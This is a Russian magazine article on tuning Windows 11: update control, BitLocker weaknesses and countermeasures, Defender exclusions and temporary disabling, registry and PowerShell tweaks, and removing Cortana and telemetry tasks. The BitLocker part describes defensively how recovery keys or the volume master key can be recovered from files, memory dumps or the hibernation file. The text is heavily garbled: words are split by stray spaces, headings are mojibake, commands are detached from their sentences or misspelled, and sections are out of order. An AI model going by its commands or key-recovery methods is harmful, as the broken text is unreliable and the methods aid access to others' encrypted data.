Тай на чер ного экра на. Можешь про гулять ся на кух ню и выпить чаш ку
такого же чер ного кофе. И не одну…

Эк ран «Парамет ры, Центр обновле ния Windows» поз воля ет управлять
обновле ниями сис темы. Нап ример, поль зователь может при оста новить
обновле ния на некото рое вре мя. Для их возоб новле ния рань ше ука зан ного
пери ода исполь зует ся кноп ка «Возоб новить обновле ния».

Здесь же мож но выз вать жур нал обновле ний, поз воля ющий прос мотреть,
какие обновле ния были уста нов лены до это го. Кноп ка «Уда лить обновле ния»
поз воля ет уда лить заг ружен ные, но еще не уста нов ленные обновле ния.

Центр обновле ния

В допол нитель ных парамет рах спря таны раз личные нас трой ки обновле ний.
Самые полез ные из них — «Пери од активнос ти», «Ска чивать обновле ния
через лимит ные под клю чения» и «Уве дом лять меня о необ ходимос ти
перезаг рузки для завер шения обновле ния».

Жур нал обновле ний

«Пери од активнос ти» говорит сис теме, что бы она не мешала тебе пред- 
ложени ями обно вить сис тему, ког да ты работа ешь за ком пом. По умол чанию
исполь зует ся зна чение с 8:00 до 17:00, думаю, нуж но изме нить как минимум
с 8:00 до 20:00, учи тывая сов ремен ный «уда лен ный» гра фик.

Обя затель но нуж но убе дить ся, что вык лючен параметр «Ска чивать
обновле ния через лимит ные под клю чения» и вклю чен «Уве дом лять меня
о необ ходимос ти перезаг рузки для завер шения обновле ния» — тог да
перезаг рузка при обновле нии не ста нет неожи дан ностью, а ког да ты
в отпуске или в коман диров ке, ты будешь поль зовать ся услу гами роумин га
или тарифи циру емым Wi-Fi. В такие пери оды нуж но, что бы твое соеди нение,
через которое ты под клю чаешь ся к интерне ту, было помече но как лимит ное.
Кста ти, это один из прос тых спо собов отклю чить обновле ния нав сегда —
если у тебя ста ционар ный компь ютер или ноут бук, который исполь зует ся
толь ко дома, и ты под клю чаешь ся пос тоян но к сети через одно и то же соеди- 
нение (неваж но, Ethernet или Wi-Fi), прос то пометь его как лимит ное (так мож- 
но пометить даже Ethernet-соеди нение).

По меча ем соеди нение как лимит ное

Те перь о том, как отклю чить обновле ния насов сем. Во-пер вых, мож но
пометить соеди нение как лимит ное, как я уже пред лагал выше. Но при под- 
клю чении к сети через дру гое соеди нение, которое не помече но как лимит- 
ное, сис тема нач нет заг ружать обновле ния сно ва.

Не хочет ся дол го дис кутиро вать на тему, нуж но ли отклю чать обновле ния
или нет, луч ше рас ска жу, как их вык лючить, а там уже каж дый сам реша ет —
вос поль зовать ся советом или нет. Итак, для отклю чения обновле ний выпол ни
сле дующие дей ствия:
1. Наж ми Win + R и запус ти редак тор груп повой полити ки .gpedit.msc
2. Перей ди в раз дел «Кон фигура ция компь юте ра → Адми нис тра тив ные шаб- 

лоны → Ком понен ты Windows → Центр обновле ния Windows → Управле ние
интерфей сом поль зовате ля» и най ди полити ку «Нас трой ка авто мати чес- 
кого обновле ния».

3. Дваж ды щел кни по полити ке и задай зна чение «Отклю чено». Наж ми кноп ку
OK.

4. Перезаг рузи компь ютер.
5. Открой окно «Парамет ры» и перей ди в раз дел «Центр обновле ния

Windows», что бы убе дить ся, что обновле ния вык лючены. Ты дол жен уви- 
деть сооб щение, что «что-то пош ло не так». Хотя в Windows 10 в этом слу- 
чае было уве дом ление о том, что обновле ниями управля ет орга низа ция.
Но в любом слу чае цель дос тигну та.

Ре дак тор груп повой полити ки

От клю чение обновле ний

Об новле ния вык лючены

ÍÀÑÊÎËÜÊÎ ÁÅÇÎÏÀÑÅÍ BITLOCKER? ÊÀÊ ÂÇËÎÌÀÒÜ È ÊÀÊ

ÇÀÙÈÒÈÒÜÑß

BitLocker — очень надеж ная сис тема, но и она все го лишь ком про мисс меж ду
ско ростью, удобс твом для поль зовате ля и надеж ностью. Все эти три фак тора
пло хо сочета ются друг с дру гом: если выб рать ско рость и удобс тво, то
не будет надеж ности (что-то вро де сов ремен ных авто моби лей). Если надеж- 
ность и ско рость (нап ример, спор тивный авто мобиль), то вряд ли такое
решение будет удоб ным. Если же ты голосу ешь за надеж ность и удобс тво
(турис тичес кий авто бус), то решение нель зя наз вать быс трым. В BitLocker
раз работ чики попыта лись все эти три качес тва сов местить. Получи лось
доволь но быс тро, очень удоб но и в меру надеж но.

С надеж ностью защиты дан ных есть нюан сы. Конеч но, это не EFS, где
с помощью ути литы сто рон них раз работ чиков мож но рас шифро вать зашиф- 
рован ные тобой фай лы. Нет. С шиф ровани ем все как раз нор маль но. Проб- 
лема в самой реали зации. Самая опас ная шту ка в BitLocker — это ключ вос- 
ста нов ления. Пред ста вим, что есть два дис ка: сис темный и диск , который
был зашиф рован с помощью BitLocker, и на нем хра нят ся самые важ ные дан- 
ные. Кому-то нуж но получить дос туп к этой информа ции. Как он это сде лает?
Да дос таточ но прос то: поищет по сис темно му дис ку тек сто вые фай лы
со стро кой «Ключ вос ста нов ления». Если у поль зовате ля хва тило ума сох- 
ранить его на локаль ном компь юте ре, мож но быть уве рен ным — защиту
с лег костью вскро ют.

Е:

К BitLocker пре тен зий нет — это чис той воды челове чес кий фак тор. Что бы
такого не про изош ло, нуж но при дер живать ся сле дующих прос тых пра вил:
1. Сох рани файл вос ста нов ления под име нем, отличным от име ни по умол- 

чанию. Нап ример, . Луч ше все го сох ранять на флеш ку
или на SD-кар ту смар тфо на — что бы ник то не нашел. Сох ранять ключ
на локаль ном компь юте ре — пло хая идея.

software.key

2. Открой сох ранен ный файл в любом тек сто вом редак торе. Подой дет обыч- 
ный блок нот. Уда ли из него все, кро ме самого клю ча вос ста нов ления.
Ключ вос ста нов ления сой дет за серий ник к какой-то прог рамме, и даже
если зло умыш ленник обна ружит его на флеш ке, то подума ет, что это неч то
иное. Для боль шей мас киров ки мож но нес коль ко раз ско пиро вать его
и заменить некото рые сим волы, а нап ротив каж дой копии написать наз- 
вание какой-то прог раммы, что бы точ но мож но было подумать, что
это серий ники к раз ным прог раммам.

3. У пра виль ного клю ча замени одну-две циф ры. Нап ример, пусть ключ будет
сле дующим: 326304-090167-116930-346555-351241-488092-701602-
527483. Пер вую и пос леднюю трой ки замени девят ками, то есть получит- 
ся 926304-090167-116930-346555-351241-488092-701602-527489. Даже
если зло умыш ленник ско пиру ет этот ключ и вста вит в окно вос ста нов- 
ления, открыть диск у него не получит ся. Глав ное потом не забыть, какие
циф ры и на какие поменял.

4. Не хра ни клю чи вос ста нов ления в учет ной записи Microsoft. Ты уве рен, что
ее невоз можно взло мать? А есть уве рен ность, что Microsoft не передаст
эти клю чи вос ста нов ления по офи циаль ному зап росу? Если ты так сглу пил
и сох ранил ключ в ней, перей ди по адре су

 и уда ли все име ющиеся
там клю чи. Это спа сет толь ко от хакеров, которые взло мают твою учет ную
запись. А вот от самой Microsoft вряд ли, пос коль ку твои клю чи уже навер- 
няка ско пиро ваны. На вся кий слу чай поменяй пароли ко всем зашиф- 
рован ным дис кам и боль ше не сох раняй клю чи в учет ке.

https://account.microsoft.com/devices/recoverykey

Итак, мы толь ко что зак рыли самую боль шую проб лему BitLocker. Но это
еще далеко не все. Поп робуй зашиф ровать диск с дан ными. Даже если
на нем сей час нет дан ных — прос то ска чай нес коль ко филь мов из интерне та,
что бы запол нить диск хотя бы на 20–30%. Вклю чи шиф рование BitLocker.
Шиф рование зай мет некото рое вре мя — все зависит от объ ема информа- 
ции, хра нящей ся на дис ке, и от про изво дитель нос ти самого дис ка (на SSD
все прой дет быс трее).

А теперь поп робуй отклю чить шиф рование (коман да «Отклю чить
BitLocker»). Отклю чение про изой дет мгно вен но. Ока зыва ется, при отклю- 
чении BitLocker не рас шифро выва ет дан ные. Все сек торы так и оста нут ся
зашиф рован ными клю чом FVEK (Full Volume Encryption Key — ключ шиф- 
рования все го тома). Но дос туп к это му клю чу боль ше никак не будет огра- 
ничи вать ся. Все про вер ки будут вык лючены, а VMK (Volume Master Key — мас- 
тер-ключ тома) прос то оста нет ся записан ным сре ди метадан ных в откры том
виде. Если ты зашиф ровал сис темный диск, то заг рузчик опе раци онной сис- 
темы счи тает VMK, авто мати чес ки рас шифру ет FVEK, а пос ле и все фай лы —
по мере обра щения к ним. Для поль зовате ля все это будет выг лядеть
как отсутс твие шиф рования, но на самом деле шиф рование все еще вклю- 
чено, и будет наб людать ся некото рое сни жение про изво дитель нос ти.

Вто рая дыра BitLocker свя зана как раз с VMK. Клю чи шиф рования хра нят ся
в опе ратив ной памяти — ина че поль зовате лю приш лось бы отдель но рас- 
шифро вывать каж дый файл при обра щении к нему. Это озна чает, что мож но
сде лать дамп памяти, нап ример с помощью прог раммы RAM Capture, най ти
ключ и получить дос туп к дис ку. К при меру, ког да ты отой дешь от компь юте ра
на перекур или попить кофе, твой кол лега может лег ко сде лать дамп памяти
на флеш ку — флеш ки с под дер жкой USB 3.0 уже дав но дос тупны, а раз мер
памяти в боль шинс тве слу чаев сос тавля ет 8–16 Гбайт, так что на соз дание
дам па не уйдет мно го вре мени.

За щитить ся от это го мож но, если уста новить слож ный пароль для учет ной
записи (или нас тро ить биомет рию, нап ример по отпе чат ку паль ца) и задать
неболь шой интервал для экранной зас тавки, ска жем в одну минуту.
При исполь зовании биомет рии для вхо да в учет ную запись это вооб ще
не сос тавит никаких неудобств. Прос то при ложи палец к ска неру, и компь- 
ютер будет раз бло киро ван. Если же исполь зует ся раз бло киров ка по паролю,
то вво дить каж дый раз слож ный пароль неудоб но — это факт.

Так же VMK может хра нить ся в фай ле гибер нации . Это озна- 

чает, что если кто-то извле чет жес ткий диск из тво его компь юте ра и поро ется
в , то смо жет най ти мас тер-ключ для раз бло киров ки BitLocker-

дис ка. Что бы такого не про изош ло, нуж но отклю чить режим гибер нации
(коман да  от име ни адми на) и уда лить файл .
В резуль тате ты не толь ко обе зопа сишь себя, но еще и сэконо мишь нем ного
мес та на дис ке. Недос таток — Windows будет заг ружать ся нем ного мед- 
леннее.

hiberfil.sys

hiberfil.sys

powercfg -h off hiberfil.sys

На конец, пос ледний нюанс. Если твой компь ютер — часть домена Active
Directory, то все твои клю чи вос ста нов ления хра нят ся на кон трол лере AD.
Дру гими сло вами, админ AD может раз бло киро вать любой диск на пред при- 
ятии. От это го никак не уйти и не изба вить ся (если адми нис тра тор сам
не отклю чит дан ную фичу с помощью груп повых политик). Прос то нуж но знать
об этом. Может, и к луч шему — если потеря ется ключ вос ста нов ления, то
адми нис тра тор смо жет помочь.

Продолжение статьи →
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ТВИКИНГ WINDOWS 11
НАСТРАИВАЕМ АВТООБНОВЛЕНИЯ,

АНТИВИРУС И ШИФРОВАНИЕ

COVERSTORY  НАЧАЛО СТАТЬИ←

ÐÀÇÐÅØÅÍÍÛÅ ÓÃÐÎÇÛ — ÈÑÊËÞ×ÅÍÈß ÄËß ÀÍÒÈÂÈÐÓÑÀ

Штат ный анти вирус Windows доволь но хорош, вот толь ко не все доверя ют его
воз можнос тям и уста нав лива ют сто рон ние решения. А пос коль ку уста нав- 
лива ются, как пра вило, бес плат ные анти виру сы, то тол ку от них нем ного.

Иног да анти вирус неп равиль но опре деля ет угро зы и может «жаловать ся»
на необ ходимые для поль зовате ля прог раммы. Что бы анти вирус и такие
прог раммы смог ли ужи вать ся на компь юте ре, их нуж но добавить в спи сок
исклю чения.

Для это го выпол ни сле дующие дей ствия:
1. В окне «Безопас ность Windows» перей ди в раз дел «Защита от вирусов

и угроз».
2. Про лис тай экран и най ди ссыл ку «Управле ние нас трой ками», перей ди

по ней.
3. Про лис тай экран в самый низ и наж ми ссыл ку «Добав ление или уда ление

исклю чений».
4. Наж ми кноп ку «Добавить исклю чение», выбери тип исклю чения: файл, пап- 

ка, прог рамма и так далее.
5. Выбери объ ект для исклю чения. На сле дующем рисун ке показа но, что

в спи сок для исклю чений добав лена пап ка .C:\temp

Уп равле ние исклю чени ями

ÂÐÅÌÅÍÍÎÅ ÎÒÊËÞ×ÅÍÈÅ ÀÍÒÈÂÈÐÓÑÀ

Ан тивирус в Windows 11 нель зя вык лючить нав сегда. Мож но его вре мен но
деак тивиро вать, но через неп родол житель ное вре мя он обя затель но запус- 
тится сно ва.

Су щес тву ет толь ко один спо соб пол ностью вык лючить анти вирус: уста- 
новить неш татную анти вирус ную прог рамму, нап ример тот же Avast. Исполь- 
зуя интерфейс анти виру са, нуж но его пол ностью вык лючить. Ког да в сис теме
уста нов лен неш татный анти вирус, стан дар тный отклю чает ся, пока не будет
уда лен сто рон ний про дукт.

Для вре мен ного отклю чения анти виру са в раз деле «Парамет ры защиты
от вирусов и дру гих угроз» вык лючи единс твен ный перек лючатель в сек ции
«Защита в режиме реаль ного вре мени».

Ан тивирус вре мен но вык лючен

ÁËÎÊÈÐÎÂÊÀ ÏÎÒÅÍÖÈÀËÜÍÎ ÍÅÆÅËÀÒÅËÜÍÛÕ ÏÐÎÃÐÀÌÌ ÈËÈ

ÇÀÙÈÒÀ ÍÀ ÎÑÍÎÂÅ ÐÅÏÓÒÀÖÈÈ

В одной из пос ледних сбо рок Windows 10 появи лась защита от потен циаль но
нежела тель ных прог рамм. Эта фун кция есть и в Windows 11. Открой при ложе- 
ние «Безопас ность Windows» и перей ди в раз дел «Управле ние при ложе- 
ниями/бра узе ром». Здесь и находит ся новый раз дел «Защита на осно ве
репута ции».

За щита на осно ве репута ции

Од нако не спе ши нажимать кноп ку «Вклю чить». Щел кни по ссыл ке «Парамет- 
ры защиты на осно ве репута ции». На новой стра нице парамет ров сгруп- 
пирова ны нас трой ки, поз воля ющие вклю чить или отклю чить отдель ные ком- 
понен ты защиты: «Про вер ка при ложе ний и фай лов», «SmartScreen
для Microsoft Edge», «SmartScreen для при ложе ний из Microsoft Store», а так же
новая опция «Бло киров ка потен циаль но нежела тель ного при ложе ния»,
которая поз воля ет вклю чить или отклю чить защиту от нежела тель ных прог- 
рамм в защит нике Windows.

Бло киров ка потен циаль но нежела тель ного при ложе ния

ÊÎÍÒÐÎËÈÐÓÅÌÛÉ ÄÎÑÒÓÏ Ê ÏÀÏÊÀÌ

Штат ный анти вирус Windows 11 обла дает одной очень важ ной фун кци ей — он
может кон тро лиро вать дос туп к пап кам. Работа ет это так. Поль зователь соз- 
дает спи сок кон тро лиру емых («охра няемых» папок). Если какая-то прог рамма
попыта ется изме нить фай лы, находя щиеся в этих пап ках, анти вирус заб- 
локиру ет опе рацию. Конеч но, мож но ука зать, каким прог раммам раз решено
изме нять фай лы в кон тро лиру емых пап ках. Нап ример, если защища ем пап ку
с докумен тами и таб лицами, целесо образно дать дос туп к этим докумен там
прог раммам Word и Excel.

Кон тро лиру емый дос туп к пап кам поз волит сох ранить важ ные дан ные,
даже если на компь ютер про ник нет вирус-шиф роваль щик или дру гая вре- 
донос ная прог рамма.

Нас тро ить кон тро лиру емый дос туп к пап кам мож но так:
1. Открой при ложе ние «Безопас ность Windows».
2. Наж ми кноп ку «Защита от вирусов и угроз».
3. Про лис тай появив ший ся экран в самый низ и выбери ссыл ку «Управле ние

защитой от прог рамм-шан тажис тов».
4. Вклю чи параметр «Кон тро лиру емый дос туп к пап кам. Защита вклю чена».

Пос ле это го в слу чае попыт ки вируса-шиф роваль щика зашиф ровать твои
дан ные или при дру гих не одоб ренных сис темой изме нени ях в фай лах ты
будешь получать уве дом ление о том, что недопус тимые изме нения заб- 
локиро ваны.

5. По умол чанию защища ются сис темные пап ки докумен тов поль зовате лей,
но при желании мож но перей ти в раз дел «Защищен ные пап ки → Добавить
защищен ную пап ку» и ука зать любую дру гую пап ку или даже целый диск,
который необ ходимо защитить от несан кци они рован ных изме нений. Сис- 
темный диск не нуж но добав лять в этот спи сок — по понят ным при чинам.

6. Выбери коман ду «Раз решить работу при ложе ния через кон тро лиру емый
дос туп к пап кам». Исполь зуя кноп ку «Добав ление раз решен ного при ложе- 
ния», добавь при ложе ния, которым мож но работать с фай лами
из защищен ных папок.

Вы бери коман ду «Управле ние защитой от прог рамм-шан тажис тов»

Вклю чение кон тро лиру емо го дос тупа к пап кам

Ка кие пап ки защище ны

До бав ление при ложе ний

ÇÀÃÐÓÇÊÀ ÈÇ ÎÁËÀÊÀ

В Windows 10 May 2020 Update появи лась фун кция «Заг рузка из обла ка».
Одна ко пос коль ку мно гие поль зовате ли так и не получи ли это обновле ние, то
все счи тают, что эта фун кция при суща толь ко Windows 11.

Ра бота ет заг рузка и пере уста нов ка сис темы из обла ка так: вмес то пере- 
уста нов ки Windows с помощью фай лов из локаль ной сис темы Windows самос- 
тоятель но ска чает самую акту аль ную вер сию ОС и уста новит ее на компь- 
ютер.

Фун кция «Заг рузка из обла ка» поз волит сэконо мить вре мя на уста нов ку
необ ходимых обновле ний. Рань ше для это го нуж но было соз давать отдель- 
ный уста новоч ный носитель Windows или обновлять сис тему до сбро са
к завод ским нас трой кам. Дру гими сло вами, исполь зуя эту опцию, мож но
не толь ко пере уста новить Windows, но и при этом получить самую новую вер- 
сию. Рань ше же мы отка тыва лись назад, а затем нам приш лось бы уста нав- 
ливать выпущен ные обновле ния, что бы под держи вать сис тему в акту аль ном
сос тоянии. Новая фун кция поз воля ет сущес твен но сэконо мить вре мя пере- 
уста нов ки Windows.

По лучить дос туп к фун кции «Заг рузка из обла ка» мож но через экран
«Сис тема, Вос ста нов ление»

При исполь зовании облачной пере уста нов ки имей в виду, что, воз можно,
при дет ся обно вить некото рые свои прог раммы: может вый ти так, что исполь- 
зовалась одна вер сия Windows, она дол го не обновля лась, а при облачной
уста нов ке была заг ружена самая новая вер сия и некото рые прог раммы
не смо гут с ней работать. Их и при дет ся пере уста нав ливать. К таким прог- 
раммам час то отно сят сис темное ПО вро де сто рон них анти виру сов, средств
вир туали зации (VMware) и некото рые дру гие.

ÇÀÊËÞ×ÅÍÈÅ

Ста нет ли Windows 11 такой же популяр ной, как Windows 7 — ска зать слож- 
но... С одной сто роны, со вре менем переход на один надца тую или более
новую вер сию Windows неиз бежен. С дру гой сто роны, «десят ка» на фоне
«семер ки» выг лядит как что-то кос мичес кое, и дей стви тель но заметен про- 
рыв, чего нель зя ска зать, если срав нивать Windows 10 и Windows 11. Более
того, весь ма мно го новов ведений Windows 11 появи лись на самом деле
в пос ледних обновле ниях Windows 10. Тем не менее прог ресс не сто ит
на мес те, и lifetime Windows 10 рано или поз дно закон чится. А зна чит, сей час
самое вре мя изу чать воз можнос ти новой вер сии популяр ной ОС от Microsoft.
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В начале октября 2021 года выш ла Windows 11. Она ста ла
эво люци ей десятой вер сии, и ее обновлен ный интерфейс
(вклю чая новую панель задач и глав ное меню) далеко
не всем при шел ся по вку су. Одна ко всег да оста ется воз-
можность поковы рять ся в нас трой ках, что бы опе раци онка
ста ла нем ного более при выч ной и удоб ной в работе.

WARNING

Преж де чем лезть в нас трой ки вин ды, нас- 
тоятель но рекомен дуем соз дать точ ку вос ста нов- 
ления, а еще луч ше — пол ностью забэка пить сис- 
темный раз дел. Все дей ствия, опи сан ные в этой
статье, ты выпол няешь на свой страх и риск.
Ни автор, ни редак ция не несут никакой ответс- 
твен ности за воз можные пос ледс твия.

ÑÎÇÄÀÅÌ ÐÅÇÅÐÂÍÓÞ ÊÎÏÈÞ

Преж де чем ковырять ся в пот рохах опе раци онной сис темы, име ет смысл
как минимум соз дать резер вную копию сис темно го реес тра и точ ку вос ста- 
нов ления. Нач нем с пос ледней.

Òî÷êà âîññòàíîâëåíèÿ

В новой вин де методи ка соз дания точ ки вос ста нов ления не столь три виаль- 
на, как в пре дыду щих вер сиях ОС: никог да не най дешь, если не зна ешь, где
искать. Наж ми Win + R и в открыв шемся окне «Выпол нить» набери .

Откро ется окно «Свой ства сис темы»: перей ди к вклад ке «Защита сис темы»,
выдели сис темный диск и наж ми на кноп ку «Соз дать». Вве ди наз вание
для новой точ ки вос ста нов ления и наж ми «ОK».

sysdm.cpl

Соз дание точ ки вос ста нов ления в Windows 11

Впос ледс твии мож но будет авто мати зиро вать соз дание точек вос ста нов- 
ления с помощью ути литы WMIC.EXE такой коман дой:

Wmic.exe /Namespace:\\root\default Path SystemRestore Call 
CreateRestorePoint "%DATE%", 100, 1

Мож но помес тить эту коман ду в batch-файл и запус кать вруч ную от име ни
адми нис тра тора по необ ходимос ти либо про писать в пла ниров щике задач
Windows и выпол нять по рас писанию.

Ñèñòåìíûé ðååñòð

С реес тром все нем ного про ще: для работы с ним сущес тву ет кон соль ная
ути лита REG EXPORT, с помощью которой мож но экспор тировать целые вет ви
реес тра, нап ример так:

reg export HKLM С:\hklm.reg

Здесь  — файл, в котором будет сох ранено содер жимое вет ви

HKLM. Ана логич ным обра зом мож но забэка пить осталь ные вет ви реес тра,
а потом, если воз никнут проб лемы, отка тить изме нения, запус тив reg-файл.

hklm.reg

Соз дание бэкапа сис темно го реес тра

Поль зователь с пра вами адми нис тра тора в Windows 11 име ет прак тичес ки
пол ный дос туп ко всем вет вям реес тра, поэто му, если ты обла даешь в сис- 
теме учет кой адми на, можешь сме ло выпол нять все тре буемые опе рации
с помощью regedit. Если же админ ских при виле гий у тебя нет, сле дует запус- 
кать regedit и reg-фай лы от име ни адми нис тра тора.

ÂÎÇÂÐÀÙÀÅÌ ÏÐÈÂÛ×ÍÓÞ ÏÀÍÅËÜ ÇÀÄÀ× È ÃËÀÂÍÎÅ ÌÅÍÞ

Но вая панель задач в сти ле macOS приш лась по вку су мно гим поль зовате лям
Windows, но далеко не всем. Мож но перемес тить знач ки при ложе ний и кноп ку
«Пуск» в левую часть панели задач, как это было реали зова но в «десят ке».
Для это го щел кни пра вой кла вишей мыши в любой сво бод ной от знач ков точ- 
ке панели и в открыв шемся кон текс тном меню выбери пункт «Парамет ры
панели задач». В открыв шемся окне раз верни спи сок «Поведе ние панели
задач» и в рас положен ном спра ва меню выбери пункт «Сле ва».

Воз вра щаем знач ки панели задач на при выч ное мес то

Но это го для кого-то может ока зать ся недос таточ но: и рас положе ние знач- 
ков, и груп пиров ка задач в Windows 11 реали зова ны нем ного по-дру гому.
Самый прос той спо соб вер нуть ся к клас сичес кому пред став лению панели
задач без необ ходимос ти уста нав ливать допол нитель ные прог раммы,
занима ющие память, — вос поль зовать ся reg-фай лом сле дующе го содер- 
жания:

    Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Shell\
Update\Packages]
"UndockingDisabled"=dword:00000001

Пос ле при мене ния это го тви ка нуж но переза пус тить Windows Explorer
или завер шить текущий сеанс Windows и залоги нить ся сно ва. Панель задач
при мет более при выч ный вид, но при этом в ней «сло мают ся» некото рые
фичи вро де груп пиров ки при ложе ний, кро ме того, отва лит ся меню «Пуск»
и стро ка поис ка. Глав ное меню мож но будет вер нуть с помощью одной
из бес плат ных ути лит, речь о которых пой дет даль ше, а поиск все еще будет
работать в про вод нике.

Па нель задач Windows 11 пос ле при мене ния тви ка

Что бы вклю чить и отклю чить сис темные знач ки в панели задач, открой коман- 
дную стро ку ( ) и выпол ни в ней сле дующую коман ду:cmd.exe

Explorer shell:::{05d7b0f4-2121-4eff-bf6b-ed3f69b894d9}\SystemIcons

От кро ется окно «Сис темные знач ки», с помощью которо го мож но нас тро ить
отоб ражение знач ков в панели задач.

Ок но «Сис темные знач ки»

Что бы «сде лать все как было» и при этом не поломать фун кци ональ ность
Windows 11, мож но вос поль зовать ся бес плат ной ути литой ,
которая воз вра щает панели задач клас сичес кий вид образца Windows
10 и при этом не отклю чает про чие фун кции сис темы. Прос то ска чива ешь
с сай та раз работ чика и уста нав лива ешь при ложе ние — вуаля, все работа ет!

ExplorerPatcher

Для воз вра та на мес то клас сичес кого меню «Пуск» в новых вер сиях
Windows тра дици онно исполь зовалась тул за , но в 11-й вер сии
нам ного луч ше и ста биль нее работа ет ана логич ная ути лита . Уста- 
нов ка тул зы пол ностью иден тична Classic Shell, нас тра ивает ся и работа ет она
в точ ности так же.

Classic Shell
OpenShell

Windows 11 c ExplorerPatcher и OpenShell

Ес ли тебе нра вит ся обновлен ная панель задач Windows 11 и ты решил оста- 
вить ее, но хочешь заменить глав ное меню более при выч ным, мож но вос- 
поль зовать ся ути литой  — прав да, прог рамма эта плат ная.Start 11 от Stardock

ÄÎÏÎËÍÈÒÅËÜÍÀß ÍÀÑÒÐÎÉÊÀ ÏÀÍÅËÈ ÇÀÄÀ×

Ес ли ты хочешь поковы рять ся в более глу боких нас трой ках панели задач,
к тво им услу гам инс тру мент под наз вани ем , который прек- 
расно зареко мен довал себя в вин де с 7-й вер сии и так же работа ет в 11-й,
если в ней акти виро вана клас сичес кая панель.

7+ Taskbar Tweaker

7+ Taskbar Tweaker

Ути лита име ет рус ско языч ный интерфейс и потому край не прос та в исполь- 
зовании. С помощью этой тул зы мож но нас тро ить панель задач Windows
11 имен но так, как это нуж но тебе.

ÎÒÊËÞ×ÀÅÌ ÊÎÐÒÀÍÓ

Кор тана — это не прос то встро енный голосо вой помощ ник Windows, она глу- 
боко интегри рова на в фун кцию поис ка, сис тему безопас ности и дру гие архи- 
тек турные эле мен ты сис темы. Отклю чить голосо вого помощ ника в нас трой ках
сис темы быва ет недос таточ но, но мож но выпол нить сле дующие коман ды:

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\Windows Search" /v 
"AllowCortana" /t REG_DWORD /d 0 /f
reg add "HKLM\SOFTWARE\Microsoft\PolicyManager\default\Experience\
AllowCortana" /v "value" /t REG_DWORD /d 0 /f
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Search" /v 
"CortanaEnabled" /t REG_DWORD /d 0 /f
reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Search" /v 
"CortanaEnabled" /t REG_DWORD /d 0 /f
reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Search" /v 
"CanCortanaBeEnabled" /t REG_DWORD /d 0 /f

Не забудь переза пус тить сис тему пос ле вне сения изме нений в реестр. Что бы
не отклю чить, а пол ностью уда лить Кор тану для текуще го поль зовате ля,
запус ти PowerShell от име ни адми нис тра тора и выпол ни сле дующую коман ду:

Get-AppxPackage -allusers Microsoft.549981C3F5F10 | 
Remove-AppxPackage

То же самое, но для всех поль зовате лей Windows:

Get-AppxPackage -allusers *Microsoft.549981C3F5F10* | 
Remove-AppxPackage

ÂÛÊËÞ×ÅÍÈÅ «ËÈØÍÈÕ» ÑËÓÆÁ

По умол чанию в Windows 11 работа ет нес коль ко служб, которые кому-то
могут быть поп росту не нуж ны. Нап ример, если ты не поль зуешь ся Xbox, мож- 
но отклю чить служ бы XboxGipSvc, XblAuthManager, XblGameSave
и XboxNetApiSvc. Если ты не исполь зуешь мобиль ные устрой ства, а Windows
11 уста нов лена на ста ционар ном компь юте ре, мож но отклю чить
SensorService, SensorDataService и SensrSvc. Так же мож но без осо бого вре да
для здо ровья сис темы вырубить сле дующие служ бы:

DPS — служ ба полити ки диаг ности ки;•
RemoteRegistry — служ ба уда лен ного управле ния реес тром;•
TermService — служ ба тер миналов;•
TrkWks — кли ент отсле жива ния изме нив шихся свя зей.•

Для отклю чения лиш них служб вос поль зуйся вклад кой «Служ бы» дис петче ра
задач Windows.

От клю чение лиш них служб

ÂÊËÞ×ÀÅÌ ÀÂÒÎÌÀÒÈ×ÅÑÊÓÞ Î×ÈÑÒÊÓ ÔÀÉËÀ ÏÎÄÊÀ×ÊÈ

Что бы при выходе из сис темы Windows авто мати чес ки очи щала файл под- 
качки, вос поль зуйся сле дующей коман дой:

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\
Memory Management" /v " ClearPageFileAtShutdown " /t REG_DWORD /d 1 /
f

Это поз волит избе жать потен циаль ной утеч ки дан ных: ведь в фай ле под качки
может хра нить ся раз личная важ ная информа ция, вклю чающая логины
и пароли.

ÓÄÀËßÅÌ ÏÐÅÄÓÑÒÀÍÎÂËÅÍÍÛÅ ÏÐÈËÎÆÅÍÈß

Часть пре дус танов ленных в Windows 11 прог рамм мож но уда лить в панели
управле ния, но некото рые мини-при ложе ния и встро енные ути литы в этом
спис ке не отоб ража ются. Что бы деин стал лировать все ненуж ные при ложе- 
ния, мож но вос поль зовать ся сле дующим спо собом.
1. Щел кни пра вой кла вишей мыши на кноп ке «Пуск» Windows 11 и в кон текс- 

тном меню выбери пункт «Тер минал Windows (Адми нис тра тор)».
2. В открыв шемся окне PowerShell набери коман ду 

. В кон соли отоб разит ся
спи сок всех уста нов ленных при ложе ний и их пол ные име на.

Get-
AppxPackage|Select Name, PackageFullName

Спи сок всех уста нов ленных при ложе ний Windows 11

3. Те перь мож но уда лить любое при ложе ние коман дой 
, где  — пол ное имя при ложе ния, получен ное

на пре дыду щем шаге. Эта коман да уда ляет при ложе ние для текуще го
поль зовате ля. Что бы уда лить его для всех поль зовате лей, слу жит коман да

, где

 — имя уда ляемо го при ложе ния.

Remove-AppxPackage
"fullname" "fullname"

Get-AppxPackage -allusers *app* | Remove-AppxPackage
*app*

ÓÄÀËßÅÌ ÇÀÄÀ×È ÒÅËÅÌÅÒÐÈÈ

Все зна ют, что в Windows име ется пла ниров щик заданий, но далеко не каж- 
дому извес тно, что он в том чис ле исполь зует ся для выпол нения задач
телемет рии. Если открыть тер минал и наб рать коман ду , ты

получишь спи сок всех зап ланиро ван ных в сис теме задач.

shtasks /query

Спи сок всех зап ланиро ван ных задач

За дачи телемет рии пред став лены в сле дующем спис ке:
\Microsoft\Windows\FileHistory\File History (maintenance mode)•
\Microsoft\Windows\AppID\SmartScreenSpecic•
\Microsoft\Windows\Application Experience\AitAgent•
\Microsoft\Windows\Application Experience\Microsoft Compatibility Appraiser•
\Microsoft\Windows\Application Experience\ProgramDataUpdater•
\Microsoft\Windows\Application Experience\StartupAppTask•
\Microsoft\Windows\Autochk\Proxy•
\Microsoft\Windows\CloudExperienceHost\CreateObjectTask•
\Microsoft\Windows\Customer Experience Improvement Program\Consolidator•
\Microsoft\Windows\Customer Experience Improvement Program\BthSQM•
\Microsoft\Windows\Customer Experience Improvement
